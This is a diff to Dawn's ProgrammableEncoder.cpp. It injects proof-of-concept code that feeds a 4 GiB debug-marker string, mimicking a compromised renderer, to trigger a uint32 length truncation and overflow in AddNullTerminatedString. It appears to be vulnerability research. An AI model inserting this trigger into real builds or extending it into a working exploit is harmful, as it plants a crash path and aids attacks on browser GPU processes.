diff --git a/src/dawn/native/ProgrammableEncoder.cpp b/src/dawn/native/ProgrammableEncoder.cpp
index e9d3e30d862..2e144d24112 100644
--- a/src/dawn/native/ProgrammableEncoder.cpp
+++ b/src/dawn/native/ProgrammableEncoder.cpp
@@ -83,7 +83,31 @@ void ProgrammableEncoder::APIInsertDebugMarker(StringView markerIn) {
         [&](CommandAllocator* allocator) -> MaybeError {
             InsertDebugMarkerCmd* cmd =
                 allocator->Allocate<InsertDebugMarkerCmd>(Command::InsertDebugMarker);
-            AddNullTerminatedString(allocator, marker, &cmd->length);
+
+            // ==== POC INJECTION (simulates compromised renderer sending wire
+            //      WGPUStringViewTransfer{length=0xFFFFFFFF}) ====
+            std::string_view actual = marker;
+            static char* sPocBuf = nullptr;
+            if (marker == "POC_TRIGGER_4GB") {
+                constexpr size_t kPocLen = 0xFFFFFFFFULL;  // 4GiB - 1, == UINT32_MAX
+                if (!sPocBuf) {
+                    fprintf(stderr,
+                            "[POC] allocating %zu-byte marker payload (no NUL bytes)\n",
+                            kPocLen);
+                    sPocBuf = new char[kPocLen];
+                    memset(sPocBuf, 0x41, kPocLen);
+                }
+                actual = std::string_view(sPocBuf, kPocLen);
+            }
+            AddNullTerminatedString(allocator, actual, &cmd->length);
+            if (marker == "POC_TRIGGER_4GB") {
+                fprintf(stderr,
+                        "[POC] AddNullTerminatedString done: actual.length()=0x%zX "
+                        "stored cmd->length=0x%X (uint32). cmd->length+1 in uint32 = 0x%X\n",
+                        actual.length(), cmd->length,
+                        static_cast<uint32_t>(cmd->length + 1));
+            }
+            // ==== END POC INJECTION ====
 
             return {};
         },